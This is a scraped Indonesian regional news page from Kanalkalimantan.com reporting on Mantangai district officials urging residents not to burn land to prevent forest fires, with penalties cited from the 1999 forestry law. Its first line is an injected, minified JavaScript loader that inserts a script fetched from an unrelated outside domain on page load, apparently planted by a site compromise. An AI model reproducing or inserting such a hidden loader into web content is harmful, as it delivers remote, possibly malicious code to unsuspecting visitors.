(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Cegah Karhutla, Muspika Kecamatan Mantangai Imbau Warga Tidak Bakar Lahan


KANALKALIMANTAN.COM, KUALA KAPUAS – Musyawarah Pimpinan Kecamatan (Muspika) Kecamatan Mantangai mengimbau masyarakat tidak membakar lahan sembarangan. Hal tersebut ditegaskan menyikapi datangnya musim kemarau yang rentan akan terjadinya kasus kebakaran hutan dan lahan (Karhutla).

“Kepada masyarakat agar mewaspadai terjadinya kebakaran hutan dan lahan dimana saat ini cuaca sudah memasuki musim kemarau,” kata Camat Mantangai Yunius Tunggal, kepada Kanalkalimantan.com, Kamis (2/7/2020).

Dikatakannya, sebelumnya juga telah dikoordinasikan melalui rapat pencegahan kebakaran hutan dan lahan (Karhutla) yang dilaksanakan, Selasa 30 Juni 2020 di ruangan Kantor Kecamatan Mantangai. Seluruh Komponen masyarakat di wilayah Kecamatan Mantangai diimbau untuk bersama-sama melakukan upaya pencegahan Karhutla.

Camat Mantangai juga mengajak masyarakat dan seluruh komponen masyarakat untuk bersama-sama peduli menjaga lingkungan dan lahan pertaniannya untuk menghindari terjadinya kebakaran lahan.

Kapolsek Mantangai Iptu Catur Winarno, juga mengajak masyarakat bersama-sama melakukan upaya pencegahan terhadap Karhutla. “Karena ketika musim kemarau tiba, dan kebiasaan yang selama ini diperhatikan, sering digunakan untuk membuka lahan dengan cara membakar,” katanya.

Sementara Iptu Catur juga menyampaikan tentang spesifikasi pembakaran hutan dan lahan yang dapat dikenai sanksi pidana. Yaitu kebakaran lahan yang sudah terdeteksi oleh satelit sudah dapat dikenai sanksi pidana. Pelaku pembakaran hutan dikenai pidana dengan melanggar Undang-Undang Nomor 41 Tahun 1999, Pasal 78 ayat (3), berbunyi “Barang siapa dengan sengaja membakar hutan diancam dengan pidana penjara paling lama 15 tahun dan denda maksimal Rp 5 miliar. (Kanalkalimantan.com/ags)

Reporter : Ags
Editor : Chell

Desy Arfianty

Recent Posts

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

50 menit ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

4 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

8 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

1 hari ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

1 hari ago

This website uses cookies.